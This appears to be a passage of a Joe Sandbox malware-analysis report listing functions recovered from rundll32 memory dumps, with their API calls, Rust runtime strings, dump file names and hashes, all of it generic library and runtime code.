Instruction ID: 93f26f402bdaeea3a16f9fc6d45cb1e99d581031c08dc454b8b3a00186d6dceb
Opcode Fuzzy Hash: 8733acf2d44eca8639c91740be39d12bd9a02127ba3db65e983c88efae1b4097
Instruction Fuzzy Hash: B041C731A042699BDF348E1488DC3E877B2FB15355F3805DAC09A5A2A1FB756AC6CF41

Function 04672059 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 119COMMON

Download Yara Rule

Strings

2, xrefs: 046720DB
l, xrefs: 04672080
, xrefs: 046720A7

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID:
String ID: $2$l
API String ID: 0-3132104027
Opcode ID: 8d09b43a9b92cbbcdd060b45c0838ecab406f7740e78c5c2131da58acf1fc95f
Instruction ID: ab697be2e36eb145860d716d08e69e3310aa800382dfbf39821659209ab3142e
Opcode Fuzzy Hash: 8d09b43a9b92cbbcdd060b45c0838ecab406f7740e78c5c2131da58acf1fc95f
Instruction Fuzzy Hash: A541D67184426D8ADF348F149CE83E9B7B1BB12325F0801DBC19966262F374AAC7CF54

Function 6CBEBD92 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 99threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 6CBEBDC2

Strings

assertion failed: (*tail).value.is_none(), xrefs: 6CBEBE90
called `Result::unwrap()` on an `Err` value, xrefs: 6CBEBEC5
assertion failed: (*next).value.is_some(), xrefs: 6CBEBEA2

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: SwitchThread
String ID: assertion failed: (*next).value.is_some()$assertion failed: (*tail).value.is_none()$called `Result::unwrap()` on an `Err` value
API String ID: 115865932-1206542395
Opcode ID: ebd06c587ae2fc60e518fa75a4afc96131391f9bf27acd7252c2f3374490e464
Instruction ID: 06a3192ab02b46195b3b0b17c459404b2dd0e10ade604e399eae39c008e96f6a
Opcode Fuzzy Hash: ebd06c587ae2fc60e518fa75a4afc96131391f9bf27acd7252c2f3374490e464
Instruction Fuzzy Hash: FF312630601B868FD700CF25C85076EB7E1EF8A799F108D1DE9989BB51EB70D846C792

Function 6CC0F807 Relevance: 6.5, APIs: 5, Instructions: 229COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000AC), ref: 6CC0F9AA
memmove.VCRUNTIME140(?,?,000000AC), ref: 6CC0F9F0
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CC0FA20

Part of subcall function 6CC23A0F: memmove.VCRUNTIME140(00000000,?,000000B8,?,?,6CC0FA35), ref: 6CC23A29

memmove.VCRUNTIME140(?,?,000000B8), ref: 6CC0FA5E
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CC0FAA7

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 020269b430839bec9eae6d930f01f1575182ff2e5d540952c44a665f96251941
Instruction ID: 57f1ffda750704548d462fa690afe8896672825e778ec2af8694b806efe185c5
Opcode Fuzzy Hash: 020269b430839bec9eae6d930f01f1575182ff2e5d540952c44a665f96251941
Instruction Fuzzy Hash: 0AA16F716087419FCB11CF24C4907DAB7E1AF8A314F08856AEC895F746EB709989CB66

Function 6CC37FD8 Relevance: 6.5, APIs: 5, Instructions: 228COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000AC), ref: 6CC38176
memmove.VCRUNTIME140(?,?,000000AC), ref: 6CC381BC
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CC381EC

Part of subcall function 6CC23A0F: memmove.VCRUNTIME140(00000000,?,000000B8,?,?,6CC0FA35), ref: 6CC23A29

memmove.VCRUNTIME140(?,?,000000B8), ref: 6CC3822A
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CC38273

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 548f74d799b366aea70baf008907f3bb68b7de111d79c96dd234008f93a7f770
Instruction ID: 00854f4692848c01fc22d9368cf9f70b07fa709b626d0be9cd318be5c9acbf25
Opcode Fuzzy Hash: 548f74d799b366aea70baf008907f3bb68b7de111d79c96dd234008f93a7f770
Instruction Fuzzy Hash: 2FA182755087409FCB11CF24D480BDAB7E1AF89714F08896EDC8D9F746EB709949CBA2

Function 6CC17E80 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 271COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,00000098,00000098), ref: 6CC181A2
memmove.VCRUNTIME140(00000000,?,00000738), ref: 6CC181F1

Strings

scheme is valid, xrefs: 6CC180D0
slash is a valid path, xrefs: 6CC18262

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: scheme is valid$slash is a valid path
API String ID: 2162964266-3029000764
Opcode ID: 2731b9379dd578ccf8f3a9d96b84a2b3e5cd27c0ee9eb9075a5db6601876aa25
Instruction ID: 7a53f257ce467f1945fb5504844b0b6e5223eb8642e72c662a31e32f07bc74b4
Opcode Fuzzy Hash: 2731b9379dd578ccf8f3a9d96b84a2b3e5cd27c0ee9eb9075a5db6601876aa25
Instruction Fuzzy Hash: 62B11531A08B818BD711CF25C4407AEB7E1BFC6358F148A1DE4885FB81EB75D94ADB82

Function 6CBF03E1 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 228COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CBF0491
memmove.VCRUNTIME140(00000000,?,?), ref: 6CBF0570

Strings

capacity overflow, xrefs: 6CBF059B

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: capacity overflow
API String ID: 2162964266-2273299319
Opcode ID: 0dd87794775d159244e03a37c4f2686444cf7590ba190ba0669507e457a3e4a9
Instruction ID: 0cc92f343a1ee390efb9f10c7c3daaf0939b06b6a81fb403ae0a3825757dfd6c
Opcode Fuzzy Hash: 0dd87794775d159244e03a37c4f2686444cf7590ba190ba0669507e457a3e4a9
Instruction Fuzzy Hash: F071E370A046869BC304DF19D59066EF3E5FF84714F10862DD8A947B60EB75EC9ACB82

Function 6CBF05BC Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CBF0655
memmove.VCRUNTIME140(00000000,?,?), ref: 6CBF074B

Strings

capacity overflow, xrefs: 6CBF059B, 6CBF076E
called `Result::unwrap()` on an `Err` value, xrefs: 6CBF07A3

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: called `Result::unwrap()` on an `Err` value$capacity overflow
API String ID: 2162964266-2618782069
Opcode ID: 13631eae44d6808372859e193b7e79021813851b705e000d9bcf3a0162934d9d
Instruction ID: 3dbef83c43dc26e65a8eddbbd6ff08d663c44570a16dbee0ba735653d073ca60
Opcode Fuzzy Hash: 13631eae44d6808372859e193b7e79021813851b705e000d9bcf3a0162934d9d
Instruction Fuzzy Hash: 7C51A070608785ABC704DF59D590A5EB7E6FFC5304F10892DE4694BB61EB70E88ECB82

Function 046739B7 Relevance: 6.1, APIs: 4, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 046739CB
__init_pointers.LIBCMT ref: 04673A7D
__calloc_crt.LIBCMT ref: 04673AEB

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID: __calloc_crt__init_pointers__mtterm
String ID:
API String ID: 2478854527-0
Opcode ID: ee1b5a3cfca8483b6adddd909e68841009dfdd7312d5b4ad701d057e656e09f0
Instruction ID: c47868c48e02d05927d34beed8ce004c809d9e9aa81bbf98f7ed7a5303036b40
Opcode Fuzzy Hash: ee1b5a3cfca8483b6adddd909e68841009dfdd7312d5b4ad701d057e656e09f0
Instruction Fuzzy Hash: A2311B31A02630AEFB12EF759C98A567FA4EB59760B20461AF910D63B1EB319081EF50

Function 6CC599FB Relevance: 6.1, APIs: 4, Instructions: 92synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC59A2C
CloseHandle.KERNEL32(?), ref: 6CC59A3A
GetLastError.KERNEL32 ref: 6CC59AA5
CloseHandle.KERNEL32(?), ref: 6CC59B06

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: CloseHandle$ErrorLastObjectSingleWait
String ID:
API String ID: 1454876536-0
Opcode ID: 0a740527abf837646f05e9bec8d7744087c24684a375b418cb95b2015fe8bd40
Instruction ID: 331760ec38cae3fec3fa0e8779db4d07ee4a0ff5be83f86a5208192cd74d83c9
Opcode Fuzzy Hash: 0a740527abf837646f05e9bec8d7744087c24684a375b418cb95b2015fe8bd40
Instruction Fuzzy Hash: AB31F0B1A007048FCB04DF65C984B9ABBB4FF48328F14C56DD40AABB50E735D856CBA0

Function 6CC60FFE Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6CC6104B

Part of subcall function 6CC613C6: InitializeSListHead.KERNEL32(6CCC2168,6CC61055,6CCC09F0,00000010,6CC60FE6,?,?,?,6CC6120C,?,00000001,?,?,00000001,?,6CCC0A38), ref: 6CC613CB

_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CC6621C,6CC66220,6CCC09F0,00000010,6CC60FE6,?,?,?,6CC6120C,?,00000001,?,?,00000001,?,6CCC0A38), ref: 6CC61064
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CC66214,6CC66218,6CCC09F0,00000010,6CC60FE6,?,?,?,6CC6120C,?,00000001,?,?,00000001,?,6CCC0A38), ref: 6CC61082
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6CC610B5

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 590286634-0
Opcode ID: 95910293f6cf43acfd3add81e6c39d5b89c68359fba24241cde662c66b94a640
Instruction ID: 830774e07cfe581141ef0cc8590ccb5796df7da44965c0eed159cec14fa4da60
Opcode Fuzzy Hash: 95910293f6cf43acfd3add81e6c39d5b89c68359fba24241cde662c66b94a640
Instruction Fuzzy Hash: BA21CF316496459EDF109BBF97947EC33B19B0622FF144415C581A7F80FB32C10AA665

Function 0467B7AA Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0467B7D0

Part of subcall function 0467B5FC: __fltout2.LIBCMT ref: 0467B627

__cftog_l.LIBCMT ref: 0467B7F6
__cftoe_l.LIBCMT ref: 0467B828

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: dc140576cb17360e66db5d7976076ad5159ff0861c4feeab05928b62e36507d9
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: AE114B7240014EBBCF125F84DC51CEE3F62BB18B58F588419FA6899130E636E5B2AF85

Function 0466F026 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0466F040

Part of subcall function 0466EF92: __FF_MSGBANNER.LIBCMT ref: 0466EFAB
Part of subcall function 0466EF92: __NMSG_WRITE.LIBCMT ref: 0466EFB2

std::exception::exception.LIBCMT ref: 0466F075
std::exception::exception.LIBCMT ref: 0466F08F
__CxxThrowException@8.LIBCMT ref: 0466F0A0

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc
String ID:
API String ID: 2388904642-0
Opcode ID: d3a09533d38bf96fbcdeea7404bc42bbfdad1700ad1bdc5c3aa64567319aa372
Instruction ID: 49119efe2257f46cc66a10c5f58082a93faadc3ab8c1aa950380b1f317841413
Opcode Fuzzy Hash: d3a09533d38bf96fbcdeea7404bc42bbfdad1700ad1bdc5c3aa64567319aa372
Instruction Fuzzy Hash: 4EF02875400219BBEB19EF54FC24ABE7BA9EB50748F90402DD50292190FB72FE02CB94

Function 6CC4EEA0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 302COMMON

Download Yara Rule

APIs

WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(?), ref: 6CC4EFFE
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(6CCC2124), ref: 6CC4F203

Strings

use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs, xrefs: 6CC4F2EC

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AddressSingleWake
String ID: use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs
API String ID: 3114109732-459553403
Opcode ID: 6607e3423ae351b1388e58a8b4e0538524369dc381299b545968e97be3b63a11
Instruction ID: 927f61083bb13b3dcaed81207d7d2b3507cedaaca7bcf864042ad70707340d17
Opcode Fuzzy Hash: 6607e3423ae351b1388e58a8b4e0538524369dc381299b545968e97be3b63a11
Instruction Fuzzy Hash: F7D1E174A00248CFDB11CFA5C494BDEBBB1FF4A308F14C16AD916ABB91E7359946CB90

Function 0466976F Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 300COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 046698DF

Part of subcall function 0466EF92: __FF_MSGBANNER.LIBCMT ref: 0466EFAB
Part of subcall function 0466EF92: __NMSG_WRITE.LIBCMT ref: 0466EFB2

Strings

&, xrefs: 04669800

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID: _malloc
String ID: &
API String ID: 1579825452-3042966939
Opcode ID: b598dab0db35afd4cecf5f088763f976702afa5d49a8f07c45262a70ab33495b
Instruction ID: faa14f0ba0e423febb9811dff7d37899f27110a0c572b2c9013a040f74921b31
Opcode Fuzzy Hash: b598dab0db35afd4cecf5f088763f976702afa5d49a8f07c45262a70ab33495b
Instruction Fuzzy Hash: A1C123F1A002199FDB24CF55CCC4BAAB7B4EB58304F1485ADDA0A97241E774BE89CF54

Function 0466C24F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

_wcsrchr.LIBCMT ref: 0466C306
_memset.LIBCMT ref: 0466C343

Strings

D, xrefs: 0466C362

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID: _memset_wcsrchr
String ID: D
API String ID: 1675014779-2746444292
Opcode ID: 9acbe9d8cb78e65742daa30000f13f8c3748e978fcf48c481d77b0f92a49766f
Instruction ID: 2d004c573bdfef37b30b6804c282f84496a10a57517cca3a2878a3a41eb171a5
Opcode Fuzzy Hash: 9acbe9d8cb78e65742daa30000f13f8c3748e978fcf48c481d77b0f92a49766f
Instruction Fuzzy Hash: AD31E7729402187BE724ABE49C89FEF7768EB54710F100229FB0AEA1C0EA717945C7A5

Function 6CC4A520 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(00000000,000000FF,00000001,000000FF), ref: 6CC4A645
GetLastError.KERNEL32 ref: 6CC4A64C

Strings

use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs, xrefs: 6CC4A65A

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AddressErrorLastWait
String ID: use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs
API String ID: 1574541344-459553403
Opcode ID: f994aa86faaa7705c2c73c79c99d16be3deed8ad24de3e8720454b3b9d4f6d0e
Instruction ID: 8a39c91f72af55aa74f81cb00712bec1462cf788adbbf519f5fbbf30b2485480
Opcode Fuzzy Hash: f994aa86faaa7705c2c73c79c99d16be3deed8ad24de3e8720454b3b9d4f6d0e
Instruction Fuzzy Hash: 7341F034A00584CFD711CF58C594BAAB7B0EB86318F10C1BAD815ABB81E736A906CF90

Function 6CC61C14 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 6CC61C55
___raise_securityfailure.LIBCMT ref: 6CC61D3D

Strings

^j+, xrefs: 6CC61D2E

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: ^j+
API String ID: 3761405300-2127788193
Opcode ID: b96265487bf190aa0181e67f3da6b911cc64d24529c8a44606d0acb213a62040
Instruction ID: 4dfac9581c7b23cb796d55b5a7de5d6e0a0500fe912a4537a9e6610132732fc1
Opcode Fuzzy Hash: b96265487bf190aa0181e67f3da6b911cc64d24529c8a44606d0acb213a62040
Instruction Fuzzy Hash: A621D5B8B15301EEEB04CF1AD5A97457BB4FB0A324F10612AE509DA7A0E7B09A81CF55

Function 0468008E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0468009D

Part of subcall function 04673800: __getptd_noexit.LIBCMT ref: 04673803
Part of subcall function 04673800: __amsg_exit.LIBCMT ref: 04673810

__getptd.LIBCMT ref: 046800AB

Strings

csm, xrefs: 046800B9

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 5ee49735deb65bfb04637f9989aa34e627c47001ba93af2d51fe64eeff1f3342
Instruction ID: d0a39c0c1d8acee410a3510c437e985c973c76557e766d727d051e395975750d
Opcode Fuzzy Hash: 5ee49735deb65bfb04637f9989aa34e627c47001ba93af2d51fe64eeff1f3342
Instruction Fuzzy Hash: 2501D130800201CEDF38EFA6D450AADB7B8AF20224F154A2ED4C166350FB30B9A9CB51

Function 6CBDC190 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,0000007A), ref: 6CBDC209
memmove.VCRUNTIME140(?,?,0000007A), ref: 6CBDC247
memmove.VCRUNTIME140(?,?,00000088), ref: 6CBDC2BF
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CBDC470

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: f91d564234596e829efe6be2e3d8a1e0f4c534759e0e2bbbabb5aa528f3748cd
Instruction ID: 0a6838ec94dcf1fca953715f140cd30554322bc04b5dcd3a7d8926120ef5f95f
Opcode Fuzzy Hash: f91d564234596e829efe6be2e3d8a1e0f4c534759e0e2bbbabb5aa528f3748cd
Instruction Fuzzy Hash: C6916775A0D3C19FC322CF24C45039EBBE1AF9A308F19495DD4C84BA82DB74A959CB93

Function 6CC07F31 Relevance: 5.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,0000007E), ref: 6CC07FB8
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CC08062

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 2d2f7392efc5b9275b59d051b21547cf2ce0048b759807a6a74b0612d9487ecc
Instruction ID: 63de60bd2a93e9e9dd027d68ab07af624ff31d1992a4010c4f8f0efc21955a76
Opcode Fuzzy Hash: 2d2f7392efc5b9275b59d051b21547cf2ce0048b759807a6a74b0612d9487ecc
Instruction Fuzzy Hash: 1C41A12550D3C0AED7168B6988119DFFFF59F9A600F08C98EE8D84B742D271A909C7A3

Function 6CBFE0E3 Relevance: 5.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000388), ref: 6CBFE113
memmove.VCRUNTIME140(?,?,00000388), ref: 6CBFE160
memmove.VCRUNTIME140(?,?,00000388), ref: 6CBFE194
memmove.VCRUNTIME140(?,?,00000388), ref: 6CBFE1C4

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
